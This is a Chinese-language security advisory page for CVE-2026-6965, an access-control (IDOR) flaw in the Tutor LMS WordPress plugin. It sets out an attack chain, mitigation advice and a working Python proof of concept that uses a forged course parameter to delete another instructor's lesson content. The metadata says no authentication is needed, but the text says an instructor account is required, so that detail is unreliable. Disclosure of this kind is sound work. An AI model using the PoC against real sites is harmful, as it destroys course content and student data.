IPBUF安全漏洞报告
English
CVE-2026-6965 CVSS 5.3 中危

CVE-2026-6965 Tutor LMS IDOR漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-6965
漏洞类型
不安全的直接对象引用 (IDOR)
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tutor LMS (WordPress Plugin)

相关标签

IDORWordPressTutor LMS权限绕过Access Control

漏洞概述

WordPress插件Tutor LMS在3.9.9及之前版本中存在不安全的直接对象引用(IDOR)漏洞。该漏洞源于插件无条件信任用户提供的`course` GET参数作为课程ID,并将其用于权限检查逻辑中。这使得拥有讲师级别及以上权限的认证攻击者,能够绕过授权机制,对其他讲师的课程内容执行未授权操作。攻击行为包括但不限于永久删除课程、作业、测验(及学生数据),创建或修改内容,篡改学生成绩以及读取未发布的内容。

技术细节

该漏洞的核心在于Tutor LMS插件中的`get_course_id_by()`函数存在逻辑缺陷。该函数直接从HTTP GET请求参数中获取`course`值,并将其作为确定性的课程ID返回,未对该参数与当前用户或目标内容的实际归属关系进行验证。随后,该ID被传递给插件唯一的授权检查函数`can_user_manage()`。由于`can_user_manage()`依赖于这个由攻击者控制的课程ID来判断用户是否具有讲师权限,导致权限验证逻辑失效。攻击者可以通过篡改请求中的`course`参数,诱使系统误判攻击者拥有目标课程的讲师权限。因此,攻击者可以针对不属于自己的课程执行敏感操作,如调用删除接口、修改接口等,从而造成数据泄露、篡改或丢失。

攻击链分析

STEP 1
Reconnaissance
识别目标WordPress站点是否安装了Tutor LMS插件,并确认版本在3.9.9或以下。
STEP 2
Authentication
攻击者注册或获取一个讲师级别或更高权限的账户。
STEP 3
Exploitation
攻击者向`/wp-admin/admin-ajax.php`发送特制的POST请求,在请求体中指定受害者的内容ID(如lesson_id),但在GET参数中传递自己拥有权限的`course` ID。
STEP 4
Privilege Escalation/Impact
服务器端的`can_user_manage()`函数验证了攻击者对GET参数中课程ID的权限,从而放行了针对受害者内容ID的删除或修改操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" attacker_cookie = "wordpress_logged_in_xxx=attacker_session_id" # Scenario: Attacker wants to delete a lesson (lesson_id=55) belonging to another instructor. # The attacker controls course_id=10 (where they have instructor privileges). # The vulnerability allows passing course_id=10 in the GET parameter to pass the check, # while the POST body targets lesson_id=55. payload = { "action": "tutor_delete_topic", # Example action "topic_id": 55 # Target content ID belonging to victim } # Malicious GET parameters to bypass can_user_manage() params = { "course": 10 # Attacker's controlled course ID } headers = { "Cookie": attacker_cookie, "Content-Type": "application/x-www-form-urlencoded" } response = requests.post(target_url, data=payload, params=params, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Target content likely deleted.") else: print("[-] Exploit failed.")

影响范围

Tutor LMS <= 3.9.9

防御指南

临时缓解措施
建议立即将插件更新至修复了该IDOR漏洞的最新版本。在无法立即升级的情况下,应严格限制WordPress后台的讲师账户权限,并监控异常的API请求,特别是涉及课程内容删除和修改的操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表